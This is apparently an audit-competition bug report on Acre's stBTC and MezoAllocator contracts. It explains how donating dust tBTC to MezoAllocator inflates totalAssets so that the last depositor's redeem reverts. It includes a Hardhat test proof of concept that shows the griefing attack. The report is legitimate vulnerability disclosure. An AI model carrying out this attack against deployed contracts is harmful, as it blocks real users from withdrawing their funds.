#34748 [SC-Low] Last withdrawer can be prevented from withdrawing their assets
Submitted on Aug 23rd 2024 at 12:50:40 UTC by @trachev for Audit Comp | Acre
Report ID: #34748
Report Type: Smart Contract
Report severity: Low
Target: https://sepolia.etherscan.io/address/0x7e184179b1F95A9ca398E6a16127f06b81Cb37a3
Impacts:
Contract fails to deliver promised returns, but doesn't lose value
Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Description
Brief/Intro
By donating dust to the `MezoAllocator` contract a malicious actor can prevent a user from redeeming their shares.
Vulnerability Details
The number of assets that a share is worth is calculated using the `totalAssets` function of stBTC. `totalAsssets` returns the tBTC balance of stBTC, the `totalDebt` and `dispatcher.totalAssets()`. `dispatcher.totalAssets()` includes tBTC deposited into `MezoPortal` and also tBTC sent directly to `MezoAllocator` that are yet to be allocated to the portal. The issue is that those tBTC cannot be withdrawn from `MezoAllocator` until they have been allocated to the portal. As a result, they can make a user's shares be worth more than the total assets that can actually be withdrawn. This attack can be repeated multiple times as it requires an extremely small amount of dust to make the function revert, in the PoC only 100 wei is used.
Impact Details
If there is only one depositor in stBTC, they can be prevented from withdrawing. The user is griefed and the attack can be performed repeatedly.
References
https://github.com/thesis/acre/blob/dc156f5a7f02142c1f80627267d14a26e5c99b30/solidity/contracts/stBTC.sol#L474-L479
Proof of Concept
Proof of Concept
Place this code in the `MezoAllocator.test.ts` file, inside of the "MezoAllocator" describe block.
describe("POC_last_withdraw_fails", () => { beforeAfterSnapshotWrapper()
it("Should revert when last user withdraws", async () => {
let assetsToDeposit = to1e18(1n)
await tbtc.mint(depositor.address, assetsToDeposit)
await tbtc
.connect(depositor)
.approve(await stbtc.getAddress(), assetsToDeposit)
//depositor deposits in stbts
await stbtc
.connect(depositor)
.deposit(assetsToDeposit, depositor.address)
//allocate to mezo portal
await mezoAllocator.connect(maintainer).allocate()
//mint dust (only 100 wei, with 2 wei reverts as well),
//that is yet to be allocated, so that the total assets is inflated
await tbtc.mint(mezoAllocator, 100)
//reverts with a panic code 0x11 due to an arithmetic oveflow
await stbtc.connect(depositor).redeem(await stbtc.balanceOf(depositor.address), depositor.address, depositor.address)
})
})
Last updated
Was this helpful?